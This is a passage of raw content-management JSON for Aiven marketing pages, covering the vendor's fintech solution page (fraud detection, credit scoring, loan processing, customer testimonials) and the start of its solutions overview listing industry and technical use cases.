Fintech","topOverlap":false},{"_key":"4e42dd10fc5d","_type":"cardList","addSpaceBottom":true,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"872799ef5f0f","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"80b235965388","_type":"block","children":[{"_key":"8ee97724fa680","_type":"span","marks":[],"text":"Leverage multiple clouds to maximize cost savings and govern data on a single platform. Enhance resiliency with cross-region and cross-cloud replication and disaster recovery."}],"markDefs":[],"style":"normal"}],"title":"Deploy to any cloud","variant":"icon-card"},{"_key":"c3b68bf57dd5","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"a42ebbdc2b0b","_type":"block","children":[{"_key":"4e89ab440e1f0","_type":"span","marks":[],"text":"Manage data, security, and compliance on a single platform that meets robust standards like ISO, 27001, SOC2, HIPAA, PCI-DSS, and GDPR."}],"markDefs":[],"style":"normal"}],"title":"Security \u0026 Compliance","variant":"icon-card"},{"_key":"422eadb4a576","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"c5dcf9766359","_type":"block","children":[{"_key":"81d891dfbcee0","_type":"span","marks":[],"text":"Leverage popular open-source technology and access a vast talent pool to build top solutions while enjoying the freedom to use multiple clouds."}],"markDefs":[],"style":"normal"}],"title":"Open Choice","variant":"icon-card"},{"_key":"5746b40ff915","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"28316cce56c7","_type":"block","children":[{"_key":"b90aa6cdac4c0","_type":"span","marks":[],"text":"Accelerate outcomes using "},{"_key":"4c049f9c1647","_type":"span","marks":["e878f8b6b1bf"],"text":"Aiven's AI Database Optimizer"},{"_key":"01f531c59a3c","_type":"span","marks":[],"text":" to provide coding suggestions in minutes, enhance database performance, and resolve issues faster, saving time and resources."}],"markDefs":[{"_key":"e878f8b6b1bf","_type":"internalLink","internalLink":{"_ref":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_type":"reference"}}],"style":"normal"}],"title":"AI-Driven Optimization","variant":"icon-card"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-tl-br","subtitle":[{"_key":"9f655f4c3b7d","_type":"block","children":[{"_key":"9b8c5a6ba6cc0","_type":"span","marks":[],"text":"Fintech innovation hinges on speed, security, and the freedom to choose the best tools for the job. Learn how Aiven empowers you to meet the unique demands of the fintech industry. "}],"markDefs":[],"style":"normal"},{"_key":"96d4d9f40fc7","_type":"block","children":[{"_key":"c758ad715d8f","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"63210101f8fd","_type":"block","children":[{"_key":"b810e060e287","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"0e1de1de0a4a","_type":"block","children":[{"_key":"a39a860cd2ad","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"Why Aiven?","topOverlap":false},{"_key":"vs2ophxip2wrwgmgsvoa2241z8ut5eeq","_type":"tab","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"items":[{"_key":"ejsckhr6tc3sqr4q7dyocpk4k4kyu5vm","_type":"tabItem","content":[{"_key":"349067fdb295","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-1489f2b269a015aa3538a468809386c30dd28f16-1600x1152-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"ef85ec2f395d","_type":"block","children":[{"_key":"3a697cbe443a","_type":"span","marks":[],"text":"Fraud Detection"}],"markDefs":[],"style":"h3"},{"_key":"0277c85dbdf7","_type":"block","children":[{"_key":"5523418939090","_type":"span","marks":["strong"],"text":"Improved customer experience:"},{"_key":"5523418939091","_type":"span","marks":[],"text":" Reduce fraudulent transactions, minimizing customer frustration and financial losses."}],"markDefs":[],"style":"normal"},{"_key":"9773416c654a","_type":"block","children":[{"_key":"b971f71af9570","_type":"span","marks":["strong"],"text":"Enhanced security:"},{"_key":"b971f71af9571","_type":"span","marks":[],"text":" Protect sensitive customer data and prevent unauthorized access."}],"markDefs":[],"style":"normal"},{"_key":"e65cb2671f4a","_type":"block","children":[{"_key":"d1c34bb79bca0","_type":"span","marks":["strong"],"text":"Reputation protection:"},{"_key":"d1c34bb79bca1","_type":"span","marks":[],"text":" Maintain a positive brand image and avoid negative publicity associated with fraud."}],"markDefs":[],"style":"normal"},{"_key":"f91391682284","_type":"block","children":[{"_key":"77926c44e0d2","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"7716b7ecd747","_type":"block","children":[{"_key":"c34717266da6","_type":"span","marks":[],"text":"How?"}],"markDefs":[],"style":"h6"},{"_key":"9482967deae6","_type":"block","children":[{"_key":"f67cd9e25f1b","_type":"span","marks":[],"text":"Aiven for Apache Kafka® manages diverse data streams — from transactions to user interactions — and delivers them instantly to your fraud detection systems for immediate analysis."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cc7af6ff2a99","_type":"block","children":[{"_key":"fb357b6735c7","_type":"span","marks":[],"text":"By decoupling your operational and analytical layers, enable your systems to perform large-scale analytics on customer and transactional data without impacting core operations."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e9e9f55b0512","_type":"block","children":[{"_key":"f8ffd5810070","_type":"span","marks":[],"text":"Aiven offers flexible fraud detection solutions tailored to your needs, whether you require batch processing or real-time streaming analysis."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"fraud-detection","imageHeight":35,"title":"Fraud Detection"},{"_key":"6g9se79ewqru94do9r7a2i0p2xmh0q4f","_type":"tabItem","content":[{"_key":"7da6ef7ea202","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-097aff31f85c3498381115b1d03cb11950b9ab27-1908x1830-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"9c296a413b79","_type":"block","children":[{"_key":"58b38d1b6c44","_type":"span","marks":[],"text":"Credit Scoring"}],"markDefs":[],"style":"h3"},{"_key":"d482f1ed9e13","_type":"block","children":[{"_key":"1ca7b553cada","_type":"span","marks":["strong"],"text":"Real-time credit scoring:"},{"_key":"7447d9ae7105","_type":"span","marks":[],"text":" Update credit scores based on the latest customer behavior and market conditions."}],"markDefs":[],"style":"normal"},{"_key":"6930f13b021b","_type":"block","children":[{"_key":"d627a776d5c40","_type":"span","marks":["strong"],"text":"Risk Management:"},{"_key":"d627a776d5c41","_type":"span","marks":[],"text":" Real-time data analytics and insights enable informed risk assessment and mitigation strategies."}],"markDefs":[],"style":"normal"},{"_key":"816bcae4dfd0","_type":"block","children":[{"_key":"2155043efc370","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"95ff230c308b","_type":"block","children":[{"_key":"55f67a637c99","_type":"span","marks":[],"text":"How?"}],"markDefs":[],"style":"h6"},{"_key":"12cecd2fa334","_type":"block","children":[{"_key":"fa58eb7c335c0","_type":"span","marks":[],"text":"Build robust credit scoring and risk assessment models with Aiven for OpenSearch® or Aiven for ClickHouse®. Centralize data from various sources, including transaction history, credit reports, and social media, providing the fast and flexible search capabilities essential for model development."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"credit-scoring","imageHeight":35,"title":"Credit Scoring"},{"_key":"n2sniov2pk7mb888v9scdb96pxozfr59","_type":"tabItem","content":[{"_key":"e7c86a9f0dd5","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-b0942fd7dea56e83adb49f4f2ebefdd2ec67f51d-1160x1226-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"86d5e28a95f6","_type":"block","children":[{"_key":"eeac45e9fa0c","_type":"span","marks":[],"text":"Loan Processing"}],"markDefs":[],"style":"h3"},{"_key":"c6b71a1d38fe","_type":"block","children":[{"_key":"29a4100613560","_type":"span","marks":["strong"],"text":"Gain a competitive advantage:"},{"_key":"29a4100613561","_type":"span","marks":[],"text":" Offer faster loan decisions than competitors to attract and retain customers."}],"markDefs":[],"style":"normal"},{"_key":"4b75d48a30ac","_type":"block","children":[{"_key":"7ce265f863340","_type":"span","marks":["strong"],"text":"Improved operational efficiency:"},{"_key":"7ce265f863341","_type":"span","marks":[],"text":" Automation reduces manual work and frees up staff for higher-value tasks."}],"markDefs":[],"style":"normal"},{"_key":"2239f85319c3","_type":"block","children":[{"_key":"d3bdbf1045a90","_type":"span","marks":["strong"],"text":"Better compliance:"},{"_key":"d3bdbf1045a91","_type":"span","marks":[],"text":" Quickly identify and flag potentially risky applications, as well as ensure adherence to regulatory requirements with automated checks and balances."}],"markDefs":[],"style":"normal"},{"_key":"dbcbe5016503","_type":"block","children":[{"_key":"35131c56d3930","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"b16ea29bb353","_type":"block","children":[{"_key":"4b16afedbea6","_type":"span","marks":[],"text":"How?"}],"markDefs":[],"style":"h6"},{"_key":"0aaea242ca79","_type":"block","children":[{"_key":"a11e0898fc03","_type":"span","marks":[],"text":"Aiven for Apache Kafka® enables real-time processing of loan applications, allowing for immediate analysis and decision-making."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"675592e2a61a","_type":"block","children":[{"_key":"f8a43275bc5f4","_type":"span","marks":[],"text":"Trigger automated actions based on specific events in the loan application process, such as document submission or credit score checks."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2de72b784330","_type":"block","children":[{"_key":"f8a43275bc5f6","_type":"span","marks":[],"text":"Connect different components of your lending platform seamlessly using Aiven for Apache Kafka® as a central communication hub."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"transaction-streaming","imageHeight":35,"title":"Loan Processing"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"How does it all work together","topOverlap":false,"variant":"button-toggle"},{"_key":"690f73dedc4c","_type":"testimonial","disabled":false,"fullWidth":false,"items":[{"_key":"e5bff58e1458","_type":"testimonialItem","company":{"_ref":"rJC6Thoe9tosgYGZna3t6","_type":"reference"},"content":[{"_key":"d3bec1572edf","_type":"block","children":[{"_key":"6a1919ad3aef0","_type":"span","marks":[],"text":"As one of the leading banks in Indonesia, GoTo Financial offers a widely-used range of services across digital payments, financial services and merchant solutions. GoTo Financial needed a managed, region-specific Apache Kafka® cloud solution for a massive-throughput system, and they needed it quickly."}],"markDefs":[],"style":"small"},{"_key":"edc1d839d036","_type":"block","children":[{"_key":"a5b9c748844e","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"5b4bbefe899d","_type":"block","children":[{"_key":"95c5a727c9830","_type":"span","marks":[],"text":"\"We have much fewer services and less infrastructure to take care of now. And all of it can be centrally managed.\""}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"6a79e45d-7bbf-4e28-abf9-b71fd104b833","_type":"reference"},"title":"Read the GoTo Financial case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-24243b6af11f6ac6d8d07c329de09e902cfe8173-595x97-svg","_type":"reference"}},"jobTitle":"Principal Engineer ","name":"Kashyap Kopparam"},{"_key":"997ccf1c60f9","_type":"testimonialItem","company":{"_ref":"97e3f99b-6840-4d42-9e75-f774e767baee","_type":"reference"},"content":[{"_key":"a8952e1ba7f9","_type":"block","children":[{"_key":"1f8e9cfe951e0","_type":"span","marks":[],"text":"Kroo Bank is making waves as one of the top four digital-only banks in the UK’s fintech market. Kroo launched its current account in 2022, and in the next 12 months alone, it secured an impressive 150,000 customers. This led to increased transaction and data volume. Facing the limitations of their infrastructure, they decided they needed a managed solution. That's when Kroo partnered with Aiven to leverage Aiven for Apache Kafka."}],"markDefs":[],"style":"small"},{"_key":"e6fa537529bd","_type":"block","children":[{"_key":"c02b56d44e92","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"dce9a4b72ee9","_type":"block","children":[{"_key":"841f768b6afe0","_type":"span","marks":[],"text":"“We were looking for ways to eliminate the headache of maintenance and version upgrades. What we have out-of-the-box is pretty standard and close to the open-source version of Kafka. It’s one reason why Aiven has worked really well for us.”"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"feda5e84-0fd3-4e9d-9c48-1b6be1022ffc","_type":"reference"},"title":"Read the Kroo Bank case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-bdb9a1352561a3d7ec927added195863c18c577e-1920x1080-webp","_type":"reference"}},"jobTitle":"Staff Software Engineer","name":"Andrey Fadeev"},{"_key":"062584a5ffbe","_type":"testimonialItem","company":{"_ref":"1b22d545-7abf-4b09-b314-93ca43cc3922","_type":"reference"},"content":[{"_key":"00d4141f640f","_type":"block","children":[{"_key":"d1e488a749f6","_type":"span","marks":[],"text":"Dojo, a rapidly scaling UK tech company, is expanding its operations across Europe and adding new data and AI-driven services to its payment processing services for businesses. With Aiven, the organization has implemented a new data streaming platform that integrates multiple cloud environments, databases and tools."}],"markDefs":[],"style":"small"},{"_key":"3dfe30092346","_type":"block","children":[{"_key":"c037852bbb8d","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"9558ee698e6b","_type":"block","children":[{"_key":"c0f6836a6ba8","_type":"span","marks":[],"text":"\"With the Aiven Platform, our teams have the autonomy to select the database and cloud solution they believe will work best, and to shape the data to solve their specific use case.”"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"6a76be10-d322-4bb6-b867-51cc286fa0c1","_type":"reference"},"title":"Read the Dojo case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-4f637d801a8b4f80367a27f9b951813f7e054c93-3600x1582-png","_type":"reference"}},"jobTitle":"Senior Software Engineer","name":"Jérémy Barneron"}],"title":"Customer spotlight","variant":"logo"},{"_key":"77045f7c9531","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"roundedCorners":"rounded-t","secondaryCTA":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Discover Aiven Platform"},"subtitle":[{"_key":"44d722000e43","_type":"block","children":[{"_key":"0d5517d6e6df0","_type":"span","marks":[],"text":"Take control of your fintech data strategy and maximize your cloud investment with Aiven's multi-cloud platform. Contact us to start building your solution today."}],"markDefs":[],"style":"normal"}],"title":"Your Partner in Fintech Innovation","variant":"centerColumn"}],"seo":{"_type":"metaData","metaDescription":"Aiven's Data and AI platform delivers the essential building blocks for modern fintech","metaImage":{"_type":"mainImage","asset":{"_ref":"image-a5e5c02de333795279244fe406bd5b3e2741ae9c-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven for Fintech"},"slug":{"_type":"slug","current":"/solutions/aiven-for-fintech"},"title":"Aiven for Fintech"} {"__i18n_lang":"en","_createdAt":"2022-07-20T13:11:53Z","_id":"02642665-bb66-4535-bc74-65b55ce0fd0d","_rev":"kXxs8oM5xmhZ4H9SjWptoU","_type":"solution","_updatedAt":"2024-11-22T16:13:30Z","content":[{"_key":"d0a0d8bcfec0","_type":"hero","addSpaceBottom":true,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-8853040eaa5b79728452988ae915af379aa38958-4320x1995-jpg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-c739d8bf1a345c9ce723b3e372243743f1db5425-1580x352-svg","_type":"reference"}},"backgroundPosition":"right center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","description":[{"_key":"86a9f2d770d4","_type":"block","children":[{"_key":"a5e37d563d9f0","_type":"span","marks":[],"text":"Get holistic solutions for your use case or industry, backed by the latest open source data technologies."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"roundedCorners":"rounded-b","secondaryCTA":{"_type":"link","internalLink":{"_ref":"be4378c0-8d66-4694-8a37-b9519f4b10ae","_type":"reference"},"title":"Customer case studies"},"tagline":"Solutions","title":"Aiven solutions to accelerate your business growth","variant":"default"},{"_key":"bef50d78859f","_type":"logoList","addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"disabled":false,"grayscale":false,"hideItemLink":true,"logos":[{"_key":"e579bb71c128","_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},{"_key":"ffca76416cd6","_ref":"59yXqJZsa9ReYDevSgZICT","_type":"reference"},{"_key":"82fff4895a2a","_ref":"a1b1HCA1GLpib0GtaoJrT","_type":"reference"},{"_key":"7be267f2eb5d","_ref":"540d62ad-dad5-4a28-9c54-94f436709b92","_type":"reference"},{"_key":"aa48a0d8ef02","_ref":"776ed73c-e4cd-4a39-8542-a086159e296d","_type":"reference"},{"_key":"4d2865c32f24","_ref":"d9c42125-e7a0-4947-ae50-0ecc71c3c62e","_type":"reference"}],"tagline":"Trusted by over 1000 customers worldwide","variant":"logo"},{"_key":"420696a53033","_type":"textColumn","disabled":true,"fullWidth":false,"noSpaceBottom":true,"subtitle":[{"_key":"8b4b34df3fa8","_type":"block","children":[{"_key":"e21d4e6d09b70","_type":"span","marks":[],"text":"We’ve helped hundreds of customers solve their business challenges with open source data technologies. From observability and legacy modernisation to data infrastructure scalability, we can offer you tailored solutions that work without being needlessly complex."}],"markDefs":[],"style":"normal"}],"title":"It’s not only about choosing the right technologies – it’s about applying them effectively to your situation.","variant":"oneColumn"},{"_key":"9b7efb785747","_type":"cardList","align":"left","backgroundPosition":"right top","backgroundSize":"auto","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"3f63d5dbb6d5882bc0d289edc5f9e993","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"fcb16d8d-4a32-48c4-a382-5e06a395fb53","_type":"reference"},"title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-c05eaf1c20a2726f4c976ed070dbbce0398110b3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"7e2c34da724c","_type":"block","children":[{"_key":"4137c4d86e700","_type":"span","marks":[],"text":"Remove data silos to provide holistic, real-time and governed data to your AI"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9cbed8d53509","_type":"block","children":[{"_key":"fa8e0a4ac0860","_type":"span","marks":[],"text":"Enhance your operational data layer with semantic search capabilities"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9747f2b10af8","_type":"block","children":[{"_key":"d652883cbb900","_type":"span","marks":[],"text":"Write performant code and resolve issues in minutes instead of days"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"AI","variant":"icon-card"},{"_key":"4e2e3a10d44b23da1360374572ea2a9c","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_type":"reference"},"title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-2f0ec2a798fc88e9dba0d032d62808bf5b885e3c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"1c002a82dca2","_type":"block","children":[{"_key":"b73a9c1c48ea0","_type":"span","marks":[],"text":"Resolve database performance issues 100x faster with actionable insights on based on your workloads"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"af1c389888b0","_type":"block","children":[{"_key":"fe39d00ea6350","_type":"span","marks":[],"text":"Write performant code faster by receiving index and SQL query rewrite suggestions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"02ad270094ca","_type":"block","children":[{"_key":"581e31cbad490","_type":"span","marks":[],"text":"Optimize your cloud investment by maximizing resource usage"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"AI database optimization","variant":"icon-card"},{"_key":"680980dfbd41f6e54752d72f81b30232","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"c093c67e-df4f-4f4d-aa41-a7d16b0970ae","_type":"reference"},"title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-ae904dc4f35e259578ede3723110880b94da9928-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"d83a0788bfad","_type":"block","children":[{"_key":"f98e755c77410","_type":"span","marks":[],"text":"Enable more accurate and relevant search results through enhanced semantic understanding"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7f161e593b9f","_type":"block","children":[{"_key":"454e0a84230e","_type":"span","marks":[],"text":"Group similar items together for market segmentation and customer profiling"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3a6d9cdd173b","_type":"block","children":[{"_key":"1478125e0bf2","_type":"span","marks":[],"text":"Utilize your existing database infrastructure with Aiven's vector extensions, simplifying integration and reducing complexity"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Vector Databases","variant":"icon-card"},{"_key":"b56d1c0aed9ad4f7eced7bafc601cfe3","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"f820e157-d994-42a0-8492-e7ca6a5d655c","_type":"reference"},"title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-8bf6307344286cf3f810660569ecb590fee7fca8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"56a008267202","_type":"block","children":[{"_key":"52eb9750cec90","_type":"span","marks":[],"text":"Build the ideal architecture for high-throughput, low latency, streaming data with Apache Kafka at the core"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0bca7bd4bd2b","_type":"block","children":[{"_key":"4f1b8c81ff730","_type":"span","marks":[],"text":"Benefit from real-time analytics and processing of streaming data in real time with Apache Flink"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"96882d149826","_type":"block","children":[{"_key":"0f09b02601990","_type":"span","marks":[],"text":"Break down traditional monolithic architecture into modern, responsive, reliable microservices"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Event streaming","variant":"icon-card"},{"_key":"0ad4de85677e7bcc440efbb357d603d4","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"97d51dbf-900b-4c6e-9196-23a26f6ab7ac","_type":"reference"},"title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-cdc84e8d5201b68f537ddd54c858764684e13b44-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"5d6489bec3d1","_type":"block","children":[{"_key":"f56d8fdcda200","_type":"span","marks":[],"text":"Build fast, reliable and scalable data pipelines with Apache Kafka"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5294588b4cd8","_type":"block","children":[{"_key":"ea684c49e60f0","_type":"span","marks":[],"text":"Process your data in batch and real-time using tools like Apache Flink, Kafka Streams and Apache Cassandra"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d83a0788bfad","_type":"block","children":[{"_key":"f98e755c77410","_type":"span","marks":[],"text":"Get most components from Aiven, letting you focus on tasks that add business value"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"IoT","variant":"icon-card"},{"_key":"25ec13d85102","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"4355d09b-4181-4bab-b701-d160e07eb56e","_type":"reference"},"title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-73a25c406ca043f1861705a1aa9431c4f7f9aeeb-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"c5c76f30e2d6","_type":"block","children":[{"_key":"af4ce64971e10","_type":"span","marks":[],"text":"Get full visibility to your systems with infinitely scalable observability tools"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"38df10e3c7f9","_type":"block","children":[{"_key":"92a94c58d5ee0","_type":"span","marks":[],"text":"Easy incident investigation by collecting all relevant metrics, so that you have access to the data you need"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"70d8c0859b24","_type":"block","children":[{"_key":"02f0748e07690","_type":"span","marks":[],"text":"No hassle implementation, get your observability building blocks as a service"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Observability","variant":"icon-card"}],"itemsPerRow":3,"noSpaceTop":false,"subtitle":[{"_key":"19be6fb2b779","_type":"block","children":[{"_key":"76d72523fa530","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"h3"}],"title":"Use cases"},{"_key":"2a3d4a76d9e9","_type":"cardList","align":"left","backgroundPosition":"right top","backgroundSize":"auto","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"5bb5a43c8e1d","_type":"cardItem","borderTopColor":{"_ref":"d880fd1e-392c-4a05-9eb1-ecbbc93753b5","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"3efca932-e77b-436e-8a30-73aa9fe4d32e","_type":"reference"},"title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-bda93dbe58712282f2d4113904f1aabf01149f70-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"15688d1fcdd9","_type":"block","children":[{"_key":"28ed74dd4ea90","_type":"span","marks":[],"text":"Build AI powered customer service agents to handle large volumes of during peak times."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b9a499eab1ff","_type":"block","children":[{"_key":"2f7d553a6b58","_type":"span","marks":[],"text":"Create personalized customer search and communication experiences to boost sales."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c69e9f7c9c40","_type":"block","children":[{"_key":"35a3c85cb2b6","_type":"span","marks":[],"text":"Implement real-time streaming to improve operational efficiency in supply chain management."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Retail","variant":"icon-card"},{"_key":"a3cbd6ecf844f0ef72b6225d592d92eb","_type":"cardItem","borderTopColor":{"_ref":"d880fd1e-392c-4a05-9eb1-ecbbc93753b5","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"7ddc00ac-3928-428c-8d61-d860d0011492","_type":"reference"},"title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-216087e3f84e46bc6fec1379d984299ce66186a1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"7b85d782601f","_type":"block","children":[{"_key":"c1c37354bb69","_type":"span","marks":[],"text":"Simplify your infrastructure, allowing your engineers to drive innovation"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"460e3008335f","_type":"block","children":[{"_key":"d2c1d35cb977","_type":"span","marks":[],"text":"Identify feature gaps through usage patterns to inform development priorities"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7c2c3b191636","_type":"block","children":[{"_key":"45b213a1241d","_type":"span","marks":[],"text":"Automate code generation and bug detection"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Software","variant":"icon-card"},{"_key":"c6912bc5a60b20147649f8316872bbb3","_type":"cardItem","borderTopColor":{"_ref":"d880fd1e-392c-4a05-9eb1-ecbbc93753b5","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"8f78eb23-e1ba-46bf-b150-336732e1648e","_type":"reference"},"title":"Read 